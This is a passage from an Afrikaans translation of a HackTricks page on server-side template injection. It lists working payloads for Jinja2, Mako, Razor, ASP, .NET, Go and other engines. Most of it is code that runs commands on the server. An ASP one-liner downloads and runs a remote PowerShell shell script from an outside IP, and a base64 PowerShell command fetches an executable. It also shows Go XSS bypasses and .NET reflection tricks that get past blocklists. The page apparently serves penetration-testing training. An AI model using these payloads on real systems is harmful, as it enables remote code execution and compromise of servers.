{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Meer besonderhede oor hoe om Jinja te misbruik:

Jinja2 SSTI

Other payloads in https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Meer inligting

Ander Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

Die .NET System.Diagnostics.Process.Start-metode kan gebruik word om enige proses op die bediener te begin en sodoende ’n webshell te skep. Jy kan ’n kwesbare webapp-voorbeeld vind in https://github.com/cnotin/RazorVulnerableApp

Meer inligting

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Niks
  • <%= response.write(date()) %> = <Datum>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Meer Inligting

.Net Om beperkings te omseil

Die .NET Reflection-meganismes kan gebruik word om swartlyste te omseil of wanneer klasse nie in die assembly teenwoordig is nie. DLL’s kan tydens runtime gelaai word met metodes en eienskappe wat van basiese objekte af toeganklik is.

DLL’s kan gelaai word met:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - vanaf die lĂȘerstelsel.
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - direk vanaf die versoek.

Volledige opdraguitvoering:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

Meer Inligting

Mojolicious (Perl)

Selfs al is dit perl, gebruik dit tags soos ERB in Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

In Go se template engine kan die gebruik daarvan bevestig word met spesifieke payloads:

  • {{ . }}: Onthul die data struktuur invoer. Byvoorbeeld, as ’n objek met ’n Password attribuut deurgegee word, kan {{ .Password }} dit blootstel.
  • {{printf "%s" "ssti" }}: Verwag om die string “ssti” te vertoon.
  • {{html "ssti"}}, {{js "ssti"}}: Hierdie payloads behoort “ssti” terug te gee sonder om “html” of “js” daaraan te heg. Verdere direktiewe kan in die Go-dokumentasie hier ondersoek word.

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Eksploitasie

Met die text/template package kan XSS reguitvoor wees deur die payload direk in te voeg. Teenstellend kodifiseer die html/template package die antwoord om dit te voorkom (bv., {{"<script>alert(1)</script>"}} lei tot &lt;script&gt;alert(1)&lt;/script&gt;). Nietemin kan sjabloondefinisie en -aanroeping in Go hierdie kodering omseil: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Copy code

RCE Eksploitasie

RCE-eksploitasie verskil aansienlik tussen html/template en text/template. Die text/template module laat toe om enige publieke funksie direk aan te roep (gebruik die “call” value), wat nie in html/template toegelaat word nie. Dokumentasie vir hierdie modules is beskikbaar hier vir html/template en hier vir text/template.

Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die gegewe objek ’n System metode het wat opdragte uitvoer, kan dit uitgebuit word soos {{ .System "ls" }}. Toegang tot die bronkode is gewoonlik nodig om dit te benut, soos in die gegewe voorbeeld:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Meer inligting

LESS (CSS Preprocessor)

LESS is ’n gewilde CSS pre-processor wat veranderlikes, mixins, funksies en die kragtige @import-direktief byvoeg. Tydens samestelling sal die LESS-engine die hulpbronne wat in @import-verklarings na verwys word, aflaai en hul inhoud inlyn (“inline”) in die resulterende CSS insluit wanneer die (inline)-opsie gebruik word.

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

Meer Exploits

Kyk na die res van https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection vir meer exploits. Jy kan ook interessante inligting oor tags vind by https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

Verwante hulp

As jy dink dit nuttig kan wees, lees:

Gereedskap

Brute-Force Detection List

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt

Verwysings

Tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks